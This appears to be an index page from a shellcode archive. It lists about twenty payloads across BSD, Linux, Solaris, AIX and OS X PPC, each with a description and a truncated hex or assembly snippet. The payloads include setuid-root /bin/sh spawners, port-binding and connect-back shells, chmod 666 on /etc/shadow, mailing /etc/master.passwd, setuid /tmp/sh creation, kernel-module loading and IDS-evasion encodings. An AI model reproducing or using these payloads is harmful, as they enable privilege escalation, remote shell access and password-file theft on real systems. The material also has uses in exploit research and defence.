os-x/PPC create /tmp/suid 122 bytes

No description provided by source. / PPC OSX/Darwin Shellcode by B-r00t. 2003. Does open; write; close; exit; See ASM below. 122 Bytes. / char shellcode = "\x7c\xa5\x2a\x79\x40\x82\xff\xfd" "\x7f\xe8\x02\xa6\x39\x1f\x01\x71" "\x39\x08\xfe\xf4\x7c\xa8\x29\xae" "\x38\x7f\x01\x68\x38\x63\xfe\xf4"...

bsd/x86 - portbind port random 143 bytes

bsd/x86 portbind port random 143 bytes. Shellcode exploit for bsdx86 platform / Here is a BSD remote shellcode. Tested on NetBSD . SHould work on FreeBSD and OpenBSD . by MayheM ExileCrew www.exile2k.org / / 143 bytes / char shellcode = "\x31\xC0" "\x50" "\x50" "\xB0\x17" "\xCD\x80" // setuid...

freebsd/x86 execve /bin/sh 37 bytes

No description provided by source. / This is FreeBSD execve code.It is 37 bytes long.I'll try to make it smaller.Till then use this one. signed predator preedatoratsendmaildotru / char FreeBSDcode= "\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x50\x8d"...

os-x/PPC simple write 75 bytes

os-x/PPC simple write 75 bytes. Shellcode exploit for osxppc platform / PPC OSX/Darwin Shellcode by B-r00t. 2003. Does write; exit; See ASM below. 75 Bytes. / char shellcode = "\x7c\x63\x1a\x79\x40\x82\xff\xfd" "\x7f\xe8\x02\xa6\x39\x40\x01\x70" "\x38\x6a\xfe\x91\x38\x9f\x01\x38"...

freebsd/x86 chown 0:0 chmod 6755 & execve /tmp/sh 44 bytes

No description provided by source. / FreeBSD shellcode chown"/tmp/sh", 0, 0; chmod"/tmp/sh", 06755; 44 bytes Claes M. Nyberg 20020209 [email protected], [email protected] / / void mainvoid asm" xor %eax, %eax eax = 0 pushl %eax string ends with NULL pushl $0x68732f2f push 'hs//' //sh push...

solaris/SPARC portbind port 6789 228 bytes

Exploit for solaris/sparc platform in category shellcode ========================================== solaris/SPARC portbind port 6789 228 bytes ========================================== / Solaris shellcode - connects /bin/sh to a port Claes M. Nyberg 20020624 , / include / void mainvoid asm" !...

bsd/x86 - execve /bin/sh setuid 0 29 bytes

bsd/x86 execve /bin/sh setuid 0 29 bytes. Shellcode exploit for bsdx86 platform / BSD version FreeBSD, OpenBSD, NetBSD. [email protected] 29 bytes. -setuid0; -execve/bin/sh; / char shellcode= "\x31\xc0" // xor %eax,%eax "\x50" // push %eax "\xb0\x17" // mov $0x17,%al "\x50" // push %eax...

bsd/x86 - cat /etc/master.passwd | mail email 92 bytes

bsd/x86 cat /etc/master.passwd | mail email 92 bytes. Shellcode exploit for bsdx86 platform / BSD version FreeBSD, OpenBSD, NetBSD. [email protected] 92 bytes. execve/bin/sh -c "/bin/cat /etc/master.passwd|mail root@localhost"; pueden reemplzar el comando por lo que se les ocurra. / char...

linux/x86 symlink /bin/sh xoring 56 bytes

linux/x86 symlink /bin/sh xoring 56 bytes. Shellcode exploit for linx86 platform /The shellcode calls the symlink and makes the link to the /bin/sh in the current dir. short version with anti IDS xoring size = 56 bytes OS = BSD written by /rootteam/dev0id www.sysworld.net [email protected] BI...

linux/x86 eject /dev/cdrom 64 bytes

linux/x86 eject /dev/cdrom 64 bytes. Shellcode exploit for linx86 platform / CDROM EJECTING CODE by lamagra .data .globl main .type main,@function start: setreuid 0, 0 xorl %eax,%eax xorl %ebx,%ebx xorl %ecx,%ecx xorl %edx,%edx movb $70,%al int $0x80 jmp 0x21 popl %esi movb %edx,10%esi leal %esi,...

freebsd/x86 kldload /tmp/o.o 74 bytes

No description provided by source. / The kldload shellcode setuid0 loads /tmp/o.o kernel module Size 74 bytes OS FreeBSD /rootteam/dev0id www.sysworld.net [email protected] BITS 32 jmp short callme main: pop esi xor eax,eax mov al,0x17 push eax int 0x80 xor eax,eax push eax push long 0x68732f...

linux/x86 shared memory exec 50 bytes

Exploit for linux/x86 platform in category shellcode ===================================== linux/x86 shared memory exec 50 bytes ===================================== / email protected - http://www.nopninjas.com Platform: Linux x86 Length: 50 bytes - This shellcode connects to the shared memory...

linux/x86 chmod 666 /etc/shadow 82 bytes

linux/x86 chmod 666 /etc/shadow 82 bytes. Shellcode exploit for linx86 platform / [email protected] Usando execve y un array de punteros include main char name4; name0="/bin/chmod"; name1="666"; name2="/etc/shadow"; name3=NULL; execvename0,name,NULL; / include char shellcode= "\xeb\x31" /...

linux/x86 connect 120 bytes

No description provided by source. / Connecting shellcode written by lamagra [email protected] http://lamagra.seKure.de May 2000 .file "connect" .version "01.01" .text .align 4 start: socketAFINET,SOCKSTREAM,IPPROTOIP; movl %esp,%ebp xorl %edx,%edx movb $102,%edx movl %edx,%eax 102 = socketcall...

linux/x86 execve /bin/sh IA32 0xff-less 45 bytes

No description provided by source. / 0xff-less execve /bin/sh by anathema [email protected] / include stdio.h include stdlib.h unsigned char code = / Linux/IA32 0xff-less execve shellcode. / "\x89\xe6" / movl %esp, %esi / "\x83\xc6\x30" / addl $0x30, %esi / "\xb8\x2e\x62\x69\x6e" / movl...

freebsd/x86 connect 102 bytes

No description provided by source. ; Passive Connection Shellcode ; ; Coded by Scrippie - [email protected] - http://b0f.freebsd.lublin.pl ; Buffer0verfl0w Security ; Why? This evades firewalls... ; ; YES, this is for NASM, I detest AT&T syntaxis - it's gross and unreadable ; ; This is the FreeBSD...

bsdi/x86 execve /bin/sh toupper evasion 97 bytes

No description provided by source. / BSDi shellcode jmp 0x57 pop %esi xor %ebx,%ebx add $0x8,%ebx add $0x2,%ebx mov %bl,0x26%esi xor %ebx,%ebx add $0x23,%ebx add $0x23,%ebx mov %bl,0xffffffa8%esi xor %ebx,%ebx add $0x26,%ebx add $0x30,%ebx mov %bl,0xffffffc2%esi xor %eax,%eax mov %al,0xb%esi mov...

Aix - execve /bin/sh 88 bytes

Aix execve /bin/sh 88 bytes. Shellcode exploit for aix platform / Aix execve of /bin/sh Georgi Guninski [email protected] / unsigned int code= 0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 , 0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c , 0x90610444 , 0x3c602f62 , 0x6063696e , 0x906104...

os-x/PPC setuid(0) + execve /bin/sh 88 bytes

Exploit for os-x/ppc platform in category shellcode ============================================ os-x/PPC setuid0 + execve /bin/sh 88 bytes ============================================ / PPC OSX/Darwin Shellcode by B-r00t. 2003. Does setuid0; execve/bin/sh; exit0; See ASM below. 88 Bytes. / char...

freebsd/x86 kldload /tmp/o.o 74 bytes

Exploit for freebsd/x86 platform in category shellcode ===================================== freebsd/x86 kldload /tmp/o.o 74 bytes ===================================== / The kldload shellcode setuid0 loads /tmp/o.o kernel module Size 74 bytes OS FreeBSD /rootteam/dev0id www.sysworld.net...